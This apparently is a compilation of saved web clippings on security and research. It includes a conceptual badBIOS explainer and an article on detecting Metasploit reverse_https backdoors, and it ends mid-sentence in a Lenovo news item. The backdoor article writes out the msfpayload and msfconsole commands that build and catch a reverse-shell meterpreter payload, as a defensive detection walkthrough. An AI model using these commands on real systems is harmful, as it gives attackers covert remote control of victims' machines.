Rustan Leino

  

<img src='img/Temp2_1114.png' width='72' height='72' alt='Kenneth McMillan' />

Kenneth McMillan

  

<img src='img/Temp2_1115.png' width='72' height='72' alt='Michal Moskal' />

Michal Moskal

  

<img src='img/Temp2_1113.png' width='72' height='72' alt='Shaz Qadeer' />

Shaz Qadeer

  

<img src='img/Temp2_1116.png' width='72' height='72' alt='Wolfram Schulte' />

Wolfram Schulte

  

Publications

  * Mike Barnett and K. Rustan M. Leino, To Goto Where No Statement Has Gone Before, in _VSTTE 2010_ , August 2010
  * Shuvendu K. Lahiri, Shaz Qadeer, and Zvonimir Rakamaric, Static and Precise Detection of Concurrency Errors in Systems Code Using SMT Solvers, in _Computer Aided Verification \(CAV '09\)_ , Springer Verlag, February 2009
  * K. Rustan M. Leino, This is Boogie 2, 24 June 2008
  * K. Rustan M. Leino, Michal Moskal, and Wolfram Schulte, Verification Condition Splitting, Microsoft Research, 2008
  * Mike Barnett and K. Rustan M. Leino, Weakest-precondition of unstructured programs, in _PASTE '05: The 6th ACM SIGPLAN-SIGSOFT workshop on Program analysis for software tools and engineering_ , ACM Press, New York, NY, USA, 2005

  

# Welcome - Fritzing

**Created:**| _9/18/2011 8:07:35 AM_  
---|---  
**Updated:**| _9/18/2011 8:07:35 AM_  
**Author:**| __  
**Tags:**| _hardware Design_  
  

#  Welcome

From prototype to product

<img src='http://fritzing.org/../../media/uploads/headers/home.jpg'
width='700' height='233' />

## About Fritzing

Fritzing is an open-source initiative to support designers, artists, researchers and hobbyists to work creatively with interactive electronics. We are creating a software and website in the spirit of Processing and Arduino, developing a tool that allows users to **document** their prototypes, **share** them with others, **teach** electronics in a classroom, and to create a pcb layout for professional **manufacturing**. | 
## Download and Start\!

Download our latest version \(0.6.3b was released August 19th\) and start
right away. <img
src='http://fritzing.org/../../media/uploads/shop/img_7902_jpg_versions/cropped_IMG_7902.jpg'
width='60' height='60' />Just got into interactive electronics and still need
the basic tools? We created an "all-you-need-to-get-going" Fritzing Starter
Kit.

## Produce your board

<img
src='http://fritzing.org/../../media/uploads/shop/threepcbs_small_jpg_versions/cropped_threePCBs_small.jpg'
width='60' height='60' />With the new Fritzing Fab service you can easily and
inexpensively turn your sketch into a real, custom PCB. Try it out now\!

## Participate

Fritzing can only act as a creative platform if many people are using it as a
means of sharing and learning. Let us know how it fits your needs and how it
doesn't, show it to your friends, and share your projects.

## Who's behind it

Fritzing is being developed by researchers in the Interaction Design Lab at the University of Applied Sciences Potsdam, Germany. Find out how to support us. See our photostream on Flickr: |   
---

# Errata Security: \#badBIOS features explained

**Created:**| _11/1/2013 8:55:52 AM_  
---|---  
**Updated:**| _11/1/2013 8:55:52 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis sdr_  
  

# **\#** badBIOS features explained****

By  Robert Graham

<img src='img/Temp2_2760.png' />

Dan Goodin at Ars Technica has reported on Dragos Ruiu's "badBIOS "
analysis**.** I thought I'd explain how some of this stuff works**.**

###  First, a disclaimer****

The story so far is this: Dragos's laptops appear to be have been infected by
a virus more advanced than anything seen so far, more advanced than Stuxnet or
Flame, two previous examples of state-sponsored advanced viruses**.**

We don't know of any of this is real**.** Dragos could be having a psychotic
episode where paranoia has gotten the best of him**.** Our industry is rife
with paranoia, where our "Occam's Razor" is tuned to believing that the most
plausible explanation for everything "hackers"**.** Weird sounds coming from
the speakers? OMG it's a hacker**\!****\!**

Also, Dragos hasn't given us anything we can independently verify**.** If it's
a bad BIOS, Dragos can extract it and publish it**.** If a USB drive infects a
system, Dragos can use a USB sniffer and dump all the packets going across the
USB bus**.** If it's ultrasonic audio, Dragos could record the sound in WAV
files**.** He could publish all this stuff, and we could see for ourselves
whether it's real or not**.** That he hasn't casts doubt on what he's
found**.**

But at the same time, this is Dragos Ruiu, a well-respected researcher for 15
years**.** If he says he's got an infected BIOS, I'm going to believe him**.**
Sure, he's probably gotten some things wrong: just because "they" really are
ought to get you doesn't mean that "they" are responsible for every phenomenon
you can't explain**.** But on the whole, I \(and many other old-time experts\)
believe that in the end, most everything he suspects will be confirmed**.**

###  Infecting the BIOS ROM****

When you turn on a computer it starts running code located in flash
memory**.** This startup code tests the system, initializes the hardware, then
loads the operating system**.**

We call this the "BIOS ROM", but the term as been outdated since the
1980s**.** The word BIOS \(Basic Input/Ouput System\) meant that it contained
the drivers the operating system could use to interact with the hardware, but
today's operating systems contain their own drivers, ignoring the BIOS
drivers**.** The word "ROM" \(Read Only Memory\) meant that it was burned into
chips and couldn't be changed -- except by replacing the chips**.** Today,
it's flash memory that is writeable**.** So a BIOS ROM isn't a BIOS ROM
anymore, but we still call it that**.**

What hackers can do is overwrite the BIOS flash memory, adding their own code
that runs on startup**.** It's a little bit tricky, because eventually the
BIOS hands off control to the operating system and ceases to run**.** There
are a number of techniques a hostile BIOS needs to do in order to maintain
control**.** For example, in the early phase of booting, the operating system
uses the BIOS drivers to read from hard drives**.** Therefore, the BIOS might
look at which files are being loaded, and then load hostile versions of some
of them**.** Then, once the operating system switches over to using it's own
device drivers, the hostile code is already running inside the operating
system**.**

Dragos has focused just on the BIOS flash memory, but there are other places
viral code can hide**.** Each device in the computer has its own
microprocessor, sometimes called a "microcontroller"**.** Each microcontroller
has its own flash memory and "firmware", most of which can themselves be
updated**.** Examples include: trackpad, keyboard, battery, SD card reader,
camera, disk drive, bluetooth, wifi, Ethernet, graphics processor, system
agent, and CPU**.**

That last bit might surprise you, but an Intel x86 CPU at the heart of your
computer itself has an embedded microcontroller, controlling such things as
frequency in order to conserve power**.**

The most insidious component is the "system agent" that may be powered on even
when the computer is powered "off" as far as you can tell**.** This system
agent is designed to be able to power on the computer when you press a key on
the keyboard, when it receives a special packet from the network, or at
certain configured times of the day**.**

While these devices seem diverse, there are in fact only a few manufacturers
of microcontrollers and flash memory**.** Thus, once a hacker has written
viral code for one, let's say the battery controller, it's not too difficult
to extend the code to also infect the trackpad, for example**.**

The upshot is this: when a system gets infected by a virus, the infection can
likely become permanent, being nearly impossible to completely remove from the
system**.** There's just too many places code can hide, and too many
components that can interfere with you trying to disinfect the system**.**
Also, modern anti-virus vendors have nothing close to defending against
this**.**

This sounds like science-fiction, but it really isn't**.** There have been
prototypes floating around at hacker conferences for over 5 years**.**
Personally I've played with a prototype infection of Ethernet firmware, others
have played with infecting the motherboard BIOS**.** It's pretty
straighforward for hackers.

###  Networking over hi-def audio****

Dragos believes that two infected computers can communicate with each other
over the audio port in frequencies above human hearing, thus allowing an "air
gapped" computer to still communicate over the Internet**.**

This technique is no different than old telephone modems. Back in the early
1990s, modems contained dedicated hardware to modulate/demodulate the audio
signal coming across the phone line**.** By the late 1990s, most modems became
"soft modems" consisting of circuitry that simply sampled the audio signal
like a sound card, and then used software running on the computer to do the
modulation/demodulation**.**

Modern computers are thousands of times faster than that**.** Now we have
"software defined radio" consisting of a dongle on the USB port that samples
radio waves at a high frequency then processes those samples on the
computer**.** With a $10 dongle, your laptop can pick up radio waves, such as
television and radio broadcasts, or your neighbor's baby monitor**.** With a
slightly more expensive dongle that can transmit as well as receive, your
laptop can pretend to be a wifi access point or a cell phone tower -- doing
all the signal processing on your main CPU in software**.**

Today's computers support "high definition" audio with 24 bit samples at 96
KHz sampling rate**.** I think it's been part of the PC spec  now for over a
decade, and even the cheapest of cheap RealTek audio chip support it**.**
Hackers can apply the same soft-modem or soft-radio concepts to it for
communications**.** They can apply a bandpass filter to the lower 20 KHz that
is in human hearing range, and use the remaining bandwidth \("ultrasonic
frequencies"\) for communications**.** Even if hackers aren't personally
familiar with signal processing, they can download open-source code to do it
for them**.** This the sort of thing a professor in a college course might
assign to students as homework**.** Sure, it's a little tricky, because
speakers distort the sound, and you have to deal with echoes in the room as
sound bounces off walls, but that can be solved either by lowering
transmission rate or more advanced signal processing**.**

In other words, while I know of no talk at a hacking conference on "air gapped
communication" via sound waves, it's pretty darn easy, so expect to see one
soon at a conference**.**

By the way, there are other ways to do air gapped communications using covert
channels**.** For example, you might exploit blinking LEDs and using the
built-in camera on the laptop**.** Or, you might be able to monitor the
voltage on the power supply on one computer while turn on the power supply
on/off on another**.** The overage laptop computer has a godaweful number of
inputs/outputs that we don't quite realize**.**  
  
**\[Update:\]** The picture above is that of a $229 netbook computer producing
a 20 KHz tone that's received by $2000 MacBook Air, while music is playing in
the background**.** That the carrier is clearly visible hints that this is a
practical technique for low-speed communications**.** While testing today, I
couldn't get anything above 24 KHz to work, because speakers are surprisingly
bad, and manufacturers lie about how fast they sample input**.**

###  Infection via USB****

Dragos reports that unplugging a USB stick from an infected machine and then
plugging it into an uninfected machine will transfer the virus**.** This
relies upon two important features of USB: the first is that USB devices
contain their own microprocessor/firmware \(of course\), and the second that
drivers are buggy**.**

There are only a few popular vendors of USB thumbdrive controllers**.** There
is a great website "http://flashboot.ru " that documents all them**.** I've
visited their site many times in order to download software for my flash
drives**.** I use this software to reprogram them to emulate a CD-ROM drive,
making "read-only flash drives", but you can also use this software to
download new firmware to the flash drives**.** Thus, it's pretty
straightforward for hostile malware to not simply overwrite the data on
inserted USB drives, but to overwrite their firmwares as well**.**

Once USB drive has hostile firmware, it can now attack new machines when it's
plugged in**.** The reason is that software in Windows/Linux/Mac that talks to
USB devices is inherently insecure**.** They assume that all USB devices are
friendly rather than hostile, and believe whatever these devices tell
them**.** This allows hostile devices to exploit vulnerabilities in driver
code**.**

For example, USB drivers are full of "buffer overflow" bugs**.** Let's say
that you have a buffer that's supposed to be less than 16 bytes according to
the specification, but a hostile USB device gives you 100 bytes instead**.**
Driver writers don't check that sort of thing, thus allowing a hostile USB
device to take control of the host system**.**

Making this work well with viruses is tough job for hackers**.** Their code
will have to fingerprint the system, such as the BIOS vendor when infecting
during the boot process, or fingerprint the operating system when the USB
drive is inserted later**.** But, at the same time, it's just a matter of
effort, adding new USB controllers to your malware, or adding new operating
system targets**.**

###  Covert network channels****

Dragos reports seeing odd IPV6 packets even when the system doesn't support
IPv6**.** Actually, there is a lot whole lot of ways that a computer may talk
covertly across the network**.**

There are a lot of high-level components that malware can hook into such that
you'd never see the network communication by looking at the network**.** For
example, I could insert myself into a Chrome browser such that whenever you
sent an email from your browser via Gmail, it'd send an extra message from my
malware, then erase the message from the sent folder**.** All you'd see on the
wire is that some of the SSL packets are slightly bigger than expected**.**
But, what you wouldn't see is any network communication happening when the
computer isn't connected to Gmail**.**

Another example is the DCOM debugging feature**.** DCOM is Microsoft's way of
building corporate app that distribute themselves across computers**.** It's
got a cool way that I can add a DLL to a program that hitches a ride along
with all DCOM packets**.** Thus, while sniffing the network, even unencrypted
packets in the clear, you are likely to still miss this additional information
in each packet**.**

Or take DNS, which we've long used as a method for cover communications**.**
Just wait for a flurry of DNS packets \(like 10 DNS in 10 seconds\), then add
your own DNS packet**.**

The point I'm trying to make here is that hackers can easily hide covert
communications within packets that would be really hard to detect by capturing
all packets going across the wire**.**

###  Conclusion****

Everything Dragos describes is plausible**.** It's not the mainstream of
"hacking", but neither is it "nation state" level hacking**.** That it's all
so plausible leads credence to the idea that Dragos isn't imagining it**.** Of
course, since Dragos is an expert, his imagination is likely be full of
factually correct details anyway, so maybe the plausibility of these hacks
isn't such guarantee of truth**.**

Dragos has only been analyzing this for a few weeks**.** Presumably, he won't
give us the full details for us to check out until the next CanSecWest
conference**.** Until then, I guess we are all just blowing smoke about
whether this is "real" or not**.**

****

# Coresec.org – Information Security Blog » How to Detect Reverse HTTPS
backdoors

**Created:**| _7/18/2011 7:10:37 AM_  
---|---  
**Updated:**| _7/18/2011 7:12:07 AM_  
**Author:**| __  
**Tags:**| _iDS/iPS network-security_  
  

2011  
07.14

## How to Detect Reverse HTTPS backdoors

Category: Security / Tag: 443, 80, backdoor, backdoors, certificate, detect,
detection, encrypted, http, https, ids, ips, metasploit, meterpreter, mitm,
networkminer, operation aurora, payload, port, proxies, reverse,
reverse\_http, reverse\_https, ssl / Add Comment

The following article by Erik Hjelmvik explains how to detect reverse\_https
backdoors:

According to Mandiant 83% of all backdoors used by APT attackers are outgoing
sessions to TCP port 80 or 443. The reason for why APT, as well as other
attackers, are using these two ports is primarily because most organizations
allow outgoing connections on TCP 80 as well as 443. Many organizations try to
counter this by using web-proxies, which can inspect the HTTP traffic and
block any malicious behavior. But TCP 443 cannot be inspected in this way
since SSL relies on end-to-end encryption. By end-to-end encryption I mean
that the session must be encrypted all the way from the server to the client
without having any SSL proxies or MITM devices that break the encryption
between the server and client. Inserting an SSL proxy would typically result
in a certificate error in the client’s web browser. TCP 443 is therefore left
untouched on most organizations’ Internet connections.

In Operation Aurora \(where Google, Adobe and other high profile companies
were attacked\) the attackers used TCP 443 as a command and control protocol.
When McAfee investigated the Aurora attacks they noticed that the traffic over
TCP 443 wasn’t SSL, but “a custom encrypted protocol”. In fact McAfee noted
that the backdoor always started out with the client sending the following 20
bytes to a command and control \(C&C\) server:

Select All Code:

[code]

    ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff
    
[/code]

Such poorly designed C&C protocols can easily be detected with static IDS
signatures, which could simply match on the initial chunk of static data.
Jaime Blasco actually wrote such a Snort signature for the “ET TROJAN Aurora
C&C Checkin”.

But what if the attacker uses a proper outgoing SSL session for the command
and control backdoor? Such a feature would prevent most passive IDS and IPS
products from detecting the backdoor, since the C&C sessions would have to be
MITM’ed in order to reveal their contents.

**Metasploit’s reverse\_https**

The popular penetration testing framework Metasploit was recently extended
with support for “reverse\_https”. With reverse\_https a pen tester can have
compromised machines establish meterpreter backdoor connections inside of real
SSL sessions.

I decided to try this functionality out for myself in order to see if these
SSL backdoors can somehow be detected through analysis of the network traffic.

The first step was to generate a windows binary that will establish the SSL
enabled meterpreter backdoor from the client:

Select All Code:

[code]

    # ./msfpayload windows/meterpreter/reverse_https LHOST=10.13.37.6 LPORT=443 X> /tmp/reverse_https_443.exe
    Created by msfpayload (http://www.metasploit.com).
    Payload: windows/meterpreter/reverse_https
    Length: 366
    Options: {"LHOST"=>"10.13.37.6", "LPORT"=>"443"}
    
[/code]

I then started msfconsole and activated the reverse\_https meterpreter
multihandler:

Select All Code:

[code]

    # ./msfconsole
     
    =[ metasploit v3.7.0-release [core:3.7 api:1.0]
    + -- --=[ 684 exploits - 355 auxiliary
    + -- --=[ 217 payloads - 27 encoders - 8 nops
     
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
    msf exploit(handler) > set LPORT 443
    msf exploit(handler) > set LHOST 10.13.37.6
    msf exploit(handler) > set ExitOnSession false
    msf exploit(handler) > exploit -j
    [*] Exploit running as background job.
    msf exploit(handler) >
    [*] Started HTTPS reverse handler on https://10.13.37.6:443/
    [*] Starting the payload handler...
    
[/code]

I thereafter copied the file “reverse\_https\_443.exe” to the victim Windows
machine, and after executing it I cold see a proper SSL session being
established from the victim to the metasploit machine:

<img src='img/Temp2_1619.png' alt='Wireshark with reverse_https traffic' />

So what information could an incident responder or network forensics
investigator use in order to reveal that this SSL session wasn’t just normal
HTTPS web surfing?

Well, something that many people aren’t aware of is that the initial part of
an SSL session isn’t encrypted. In fact, there are some pieces of relevant
information being transmitted in clear text, especially the X.509 certificate
that is sent from the SSL server.

NetworkMiner extracts any X.509 certificates from SSL sessions going to TCP
ports 443, 465, 563, 992, 993, 994, 995, 989, 990, 5223, 8170, 8443, 9001 and
9030. NetworkMiner Professional, on the other hand, automatically detects
SSL/TLS sessions regardless of port number and can therefore extract X.509
certificate also from non-standard SSL ports. I therefore simply opened up
some captured network traffic containing reverse\_https traffic in
NetworkMiner Professional in order to have it write the certificates to disk.

<img src='img/Temp2_1620.png' alt='NetworkMiner with extracted certificates
from Metasplot's reverse_https' />

From the three loaded pcap files above NetworkMiner also extracted three
different X.509 certificates. Notice that the filename of the generated “.cer”
file is built from the Common Name \(CN\), which should be the domain name of
the SSL-enabled server. The CN’s of the certs extracted from the
reverse\_https traffic does, however, not make any sense \(they aren’t real
DNS hosts\). I therefore used OpenSSL to look closer at the .cer files.

Select All Code:

[code]

    $ openssl x509 -inform DER -noout -text -in 9f.yr6pjr0szk.9totrpxqe.m.cer
    Certificate:
    Data:
    Version: 3 (0x2)
    Serial Number: -733922202 (-0x2bbec39a)
    Signature Algorithm: sha1WithRSAEncryption
    Issuer: C=US, ST=AZ, L=xaprmubDjHJDPfEEWYeLx, O=zXUImDczrRMXYRMtucfHVqfLWrXm, CN=st.ua.r4pvl.gov
    Validity
    Not Before: Jun 21 08:17:11 2011 GMT
    Not After : Jul 21 18:17:11 2011 GMT
    Subject: C=US, ST=MD, L=CekyMPKEVYAWDNCB, O=BiPhXOWuQEEmjtZHTcbHIgEgudq, CN=9f.yr6pjr0szk.9totrpxqe.m7klwbakio.twm.gov
    Subject Public Key Info:
    Public Key Algorithm: rsaEncryption
    RSA Public Key: (1024 bit)
    Modulus (1024 bit):
    00:bd:04:1d:8b:63:c0:c5:65:5b:8e:5b:b8:58:57:
    7f:f5:a6:bf:63:6a:c7:fd:e3:96:32:3b:e4:da:10:
    d9:2a:c1:68:30:0b:7f:29:61:ee:16:98:3f:f1:11:
    5c:5e:1a:63:fb:a5:09:21:71:08:9e:2f:6c:03:71:
    17:29:0f:57:88:65:d1:76:67:82:19:7a:97:83:87:
    aa:30:6b:9b:63:61:fc:19:d7:e9:3a:6b:1b:39:cf:
    cc:e4:50:cb:e9:d9:c4:87:70:a9:51:fc:41:eb:bc:
    4c:0d:ec:78:0b:63:bb:e2:93:9d:17:d8:4c:03:f2:
    63:9e:0f:39:82:89:29:e9:87
    Exponent: 65537 (0x10001)
    X509v3 extensions:
    X509v3 Basic Constraints:
    CA:FALSE
    X509v3 Subject Key Identifier:
    36:01:45:DA:CD:CE:2D:1C:16:35:50:48:B8:B3:3D:AF:90:28:53:C5
    X509v3 Extended Key Usage:
    TLS Web Server Authentication
    X509v3 Key Usage:
    Digital Signature, Key Encipherment, Data Encipherment
    X509v3 Authority Key Identifier:
    keyid:36:01:45:DA:CD:CE:2D:1C:16:35:50:48:B8:B3:3D:AF:90:28:53:C5
    DirName:/C=US/ST=AZ/L=xaprmubDjHJDPfEEWYeLx/O=zXUImDczrRMXYRMtucfHVqfLWrXm/CN=st.ua.r4pvl.gov
    serial:D4:41:3C:66
     
    Signature Algorithm: sha1WithRSAEncryption
    88:37:53:9f:cb:39:0a:19:5e:6c:b7:3a:a7:03:f1:ce:ac:75:
    e8:4d:57:03:2d:db:62:3c:91:44:b3:32:e8:69:11:a9:b7:31:
    81:b3:5e:d2:16:a6:4b:9b:ad:be:a7:20:a8:db:0e:01:0c:f7:
    c2:d2:e1:a9:f8:c5:aa:36:bf:f0:30:36:48:85:de:ad:80:a8:
    63:37:b8:8c:07:b0:51:bb:7f:3b:d5:67:50:f6:7b:f2:d7:be:
    19:b5:6b:db:13:43:f5:f0:3d:80:11:18:22:29:e9:47:fa:48:
    d2:3d:8b:4a:f6:e7:8e:08:f5:38:bb:f1:63:26:1f:63:c0:3c:
    90:40
    
[/code]

Select All Code:

[code]

    $ openssl x509 -inform DER -noout -text -in da07.l.com.cer
    Certificate:
    Data:
    Version: 3 (0x2)
    Serial Number: -604506869 (-0x24080af5)
    Signature Algorithm: sha1WithRSAEncryption
    Issuer: C=US, ST=VA, L=tigHlRKNLUgNdtZDYbrXg, O=bRzvgbfYRydWIzNIUcUuCCyaFGo, CN=tegl.9dlpdm2.klr3pqkh.gov
    Validity
    Not Before: Jun 24 07:30:49 2011 GMT
    Not After : Jul 24 17:30:49 2011 GMT
    Subject: C=US, ST=KS, L=DJakaGdxLmrsm, O=uRQXLZzhIMLNrwxFdGvfZaEwgZp, CN=da07.l.com
    Subject Public Key Info:
    Public Key Algorithm: rsaEncryption
    RSA Public Key: (1024 bit)
    Modulus (1024 bit):
    00:a6:a0:e7:b9:8c:e0:54:a4:c8:14:cc:cd:ca:af:
    72:d5:74:cc:a8:ae:ce:f8:02:35:92:23:b8:99:53:
    66:79:16:f3:64:25:d0:1e:2f:a9:78:53:c9:85:56:
    cb:eb:ad:fe:1f:b3:87:b2:37:f3:fa:38:de:dd:b3:
    53:ae:bd:94:50:4b:08:9d:bf:de:59:cf:a5:84:cb:
    1d:80:1b:5e:d6:5a:17:6c:34:4e:49:82:82:85:28:
    e7:10:fb:8c:0f:4b:93:c5:02:a9:2b:f6:eb:98:a7:
    a6:89:27:97:e9:30:b0:75:2c:dc:0d:02:a7:69:e4:
    63:01:a7:f1:d0:ea:c9:b7:8f
    Exponent: 65537 (0x10001)
    X509v3 extensions:
    X509v3 Basic Constraints:
    CA:FALSE
    X509v3 Subject Key Identifier:
    C3:FA:23:D2:32:CA:E2:C1:0B:2F:D5:A0:4B:36:12:C8:3E:E4:01:2E
    X509v3 Extended Key Usage:
    TLS Web Server Authentication
    X509v3 Key Usage:
    Digital Signature, Key Encipherment, Data Encipherment
    X509v3 Authority Key Identifier:
    keyid:C3:FA:23:D2:32:CA:E2:C1:0B:2F:D5:A0:4B:36:12:C8:3E:E4:01:2E
    DirName:/C=US/ST=VA/L=tigHlRKNLUgNdtZDYbrXg/O=bRzvgbfYRydWIzNIUcUuCCyaFGo/CN=tegl.9dlpdm2.klr3pqkh.gov
    serial:DB:F7:F5:0B
     
    Signature Algorithm: sha1WithRSAEncryption
    96:1b:e1:0f:b4:ed:ea:8d:f5:4e:2c:20:1d:1d:d7:70:fd:74:
    2d:1d:69:9e:55:93:b0:81:0f:a6:09:e2:3a:e2:28:61:f7:f9:
    96:e6:a9:61:57:36:5e:83:99:b1:1b:c8:05:ce:d3:ee:f2:de:
    ec:19:82:36:c4:59:43:b2:99:ab:e6:36:db:ce:f5:05:66:f5:
    a5:11:d4:2f:68:30:a6:df:0c:7c:ba:e9:36:09:7f:7c:63:21:
    45:42:2e:8b:93:fe:05:82:0d:83:5f:b1:45:d2:f5:96:1c:68:
    c6:1a:ce:16:b1:06:c3:cc:50:21:e6:45:5b:7e:d7:99:26:de:
    d5:05
    
[/code]

Select All Code:

[code]

    $ openssl x509 -inform DER -noout -text -in imtb8yp.7kh.on4nyye.s8dgv.cer
    Certificate:
    Data:
    Version: 3 (0x2)
    Serial Number: -578853718 (-0x22809b56)
    Signature Algorithm: sha1WithRSAEncryption
    Issuer: C=US, ST=WA, L=ZtwHCLKrKdUtvYLQ, O=KHjTGIuuHFvGNbvFudaUfGztPoNf, CN=otppnldrg.r.hvxu.net
    Validity
    Not Before: Jun 24 07:36:40 2011 GMT
    Not After : Jul 24 17:36:40 2011 GMT
    Subject: C=US, ST=CO, L=gqKLcJHtJFmbSxVoIs, O=vJcarDAHufJWWmmVLdRxpEEbKS, CN=imtb8yp.7kh.on4nyye.s8dgvfq79s.net
    Subject Public Key Info:
    Public Key Algorithm: rsaEncryption
    RSA Public Key: (1024 bit)
    Modulus (1024 bit):
    00:b6:7a:83:44:14:e0:a5:63:5d:a2:0a:bf:e2:06:
    f3:65:59:d4:7b:aa:14:45:72:29:36:41:78:20:cf:
    6e:a4:c2:bd:1e:79:79:48:df:68:a0:24:30:36:cb:
    15:f6:87:5c:74:da:68:59:84:69:3b:60:91:ee:13:
    df:91:aa:b8:5a:56:a1:20:0d:12:0d:35:a0:3a:f0:
    59:fa:c5:e7:44:9b:d6:c5:69:d1:c0:a2:bb:07:2d:
    87:ca:3e:77:28:36:f3:f2:0e:db:d1:13:1b:5e:df:
    89:54:e5:0b:9b:44:cd:dc:bf:f8:e3:72:63:64:84:
    20:25:43:06:c0:10:c0:b1:a9
    Exponent: 65537 (0x10001)
    X509v3 extensions:
    X509v3 Basic Constraints:
    CA:FALSE
    X509v3 Subject Key Identifier:
    80:CB:F6:0F:B9:D5:EA:A3:35:12:DD:BB:AE:E4:36:C3:29:15:0A:D3
    X509v3 Extended Key Usage:
    TLS Web Server Authentication
    X509v3 Key Usage:
    Digital Signature, Key Encipherment, Data Encipherment
    X509v3 Authority Key Identifier:
    keyid:80:CB:F6:0F:B9:D5:EA:A3:35:12:DD:BB:AE:E4:36:C3:29:15:0A:D3
    DirName:/C=US/ST=WA/L=ZtwHCLKrKdUtvYLQ/O=KHjTGIuuHFvGNbvFudaUfGztPoNf/CN=otppnldrg.r.hvxu.net
    serial:DD:7F:64:AA
     
    Signature Algorithm: sha1WithRSAEncryption
    ac:2b:84:4b:34:74:4d:60:69:7b:07:fc:de:25:eb:60:01:5b:
    3c:69:2c:42:d7:5b:49:19:27:65:55:61:07:3b:56:7b:db:90:
    b4:2c:61:4b:2e:03:eb:72:ac:9e:20:4b:33:bf:dd:37:c3:8a:
    04:9b:bb:5b:8e:09:1f:da:ef:1d:ea:de:a4:f6:87:ff:b0:a7:
    26:70:00:42:71:11:17:bb:a5:7e:38:0b:c5:4e:88:c7:c4:35:
    48:0e:0b:9e:48:a7:9e:9a:53:7e:20:40:27:1c:ef:03:e9:4b:
    21:02:e1:34:09:f0:e7:97:74:bb:69:f0:b3:8c:bd:87:9a:2f:
    87:7b
    
[/code]

All three certificates seem to have randomly generated data in a lot of
fields. The CN’s of both the issuer and the certificate owner always seem to
be in the following format: \[RANDOM-DATA\].com/gov/net. I also noticed that
the validity period of all certificates was exactly one month. None of the
certificates are, of course, not signed by any trusted CA \(just as the case
was with the TOR traffic I found in Richard Bejtlich’s sample lab\).

To sum up my findings, these are some indicators that can be used to detect
Metasploit’s reverse\_https meterpreter sessions simply by passively looking
at network traffic:

  * The certificate isn’t signed by a trusted CA
  * The domain names are random \(i.e. don’t really exist\)
  * Domain names end with .com, .gov or .net
  * Validity period is stated to be exactly one month

Identifying Metasploit traffic isn’t really relevant for security operations
though, since malicious attackers wouldn’t use the Metasploit framework for
their attacks. A more general approach would therefore be to monitor all
network traffic for certificates that are not signed by a trusted CA. Doing
this would, of course, generate a lot of false positives, but I still believe
it could be an effective part of a “Defensible Network Architecture”.

\[source: http://www.netresec.com/?page=Blog&month=2011-07&post=How-to-detect-
reverse\_https-backdoors\]

# Free Automated Malware Analysis Services

**Created:**| _10/28/2009 12:57:01 PM_  
---|---  
**Updated:**| _10/28/2009 12:57:09 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis_  
  

# Free Automated Malware Analysis Services

In my SANS Institute course, I teach security and systems professionals how to
reverse-engineer malicious software. It is an interesting, but time-consuming
process if you don't have the right skills and tools at hand.

There are several free automated malware analysis services that can examine
compiled Windows executales to save us time and provide a sense about the
specimen's capabilities:  

  * Anubis
  * BitBlaze Malware Analysis Service
  * Comodo Automated Analysis System
  * CWSandbox \(and the instance at Sunbelt Software\)
  * EUREKA Malware Analysis Internet Service
  * Joebox
  * Norman SandBox
  * ThreatExpert
  * Xandora

These are the services I have come across. If you know of another reliable and
free service I didn't list, please let me know.

# Infosecurity \(UK\) - Microsoft releases tools exposing software security
vulnerabilities

**Created:**| _9/16/2009 7:29:31 PM_  
---|---  
**Updated:**| _9/16/2009 7:29:58 PM_  
**Author:**| __  
**Tags:**| _windows security SDL Fuzzer_  
  

# Microsoft releases tools exposing software security vulnerabilities

17 September 2009

## Microsoft is releasing new tools to expose security vulnerabilities in new
and updated software.

The tools, BinScope and MiniFuzz are part of Microsoft’s Security Development
Lifecycle \(SDL\) and can be used at the validation stage of software
development. The aim is to remove potential security problems before software
is shipped.

Steve Lipner, senior director of security engineering at Microsoft’s
Trustworthy Computing Group, told  _Infosecurity_ : “BinScope is a developer
tool – it’s aimed at helping developers or development organisations build
secure software that can be used in secure IT environments. Using BinScope is
mandatory for essentially all software that Microsoft ships.”

It checks that flags such as /GS, /SafeSEH, /NXCOMPAT, and /DYNAMICBASE are
set, that strong-named assemblies are being used, up-to-date complier and
linker versions are being used, and that good ATL headers are applied.

Lipner said following some security vulnerability reports over the summer,
Microsoft not only published security updates to the software in question, but
also looked at how to avoid such problems for the future, imposing new
requirements through the SDL.

“We also released the guidance to external customers and we updated the
BinScope tool so that if a developer tester runs BinScope on binaries before a
product is released, it will verify that that binary was built with the new
safe ATL headers”, Lipner told  _Infosecurity_.

MiniFuzz, on the other hand, is a file fuzzer, which means you corrupt valid
input data, run them against an application and report the bugs.

“It’s simple, lightweight and basic, but it’s also very effective for finding
security vulnerabilities in programmes that process input files”, Lipner said.

Both BinScope and MiniFuzz can be run as stand-alone products or as part of
Microsoft Visual Studio.

Lipner also said Microsoft is releasing a white paper, Manual Integration of
the SDL Process Template, which tells developers using their own templates how
to take the SDL template apart and then integrate it with their own process
templates.

“We think that these releases will be very helpful to organisations in
applying SDL to their environments and thus developing more secure code”,
Lipner said.

Asked whether releasing this information could compromise application
security, Lipner said that as long as the good guys have the tools before the
bad guys, the baddies won’t have anything to find.

Furthermore, BinScope requires that the user has the development symbols for
the application: “If you’re not the developer, you cannot use BinScope to find
vulnerabilities in a piece of software because you have to have the
development symbols that are an artefact of the fact that you built that
software”, Lipner added.

_This article is featured in:_  
Application Security

  

# Spy agencies reportedly have a long-standing ban on Lenovo PCs due to back-
door vulnerabilities - The Next Web

**Created:**| _7/28/2013 7:47:26 AM_  
---|---  
**Updated:**| _7/28/2013 7:52:30 AM_  
**Author:**| __  
**Tags:**| _intelligence_  
  

# **S** py agencies reportedly have a long-standing ban on Lenovo PCs due to
back-door vulnerabilities****

Join The Next Web Conference USA in New York on October 1 & 2**\!**

Spy agencies in the UK, Australia and the US have internally banned using
Lenovo PCs because of remote access vulnerabilities that were discovered
during testing, a new report from the Australian Financial Review
alleges**.**

Chinese technology firms have long attracted suspicion from international
governments, with telecommunications firms Huawei and ZTE recently coming
under suspicion  in both the US and UK**.** Lenovo has grown to become one of
the top PC makers , but its popularity with consumers hasn’t translated over
to classified government networks**.**

The ban is believed to extend across the “Five Eyes ” group of nations, which
includes Australia, Canada, New Zealand, the UK and the US, because their
respective intelligence agencies have linked their networks**.**

While Lenovo hasn’t gone after the required security certifications needed to
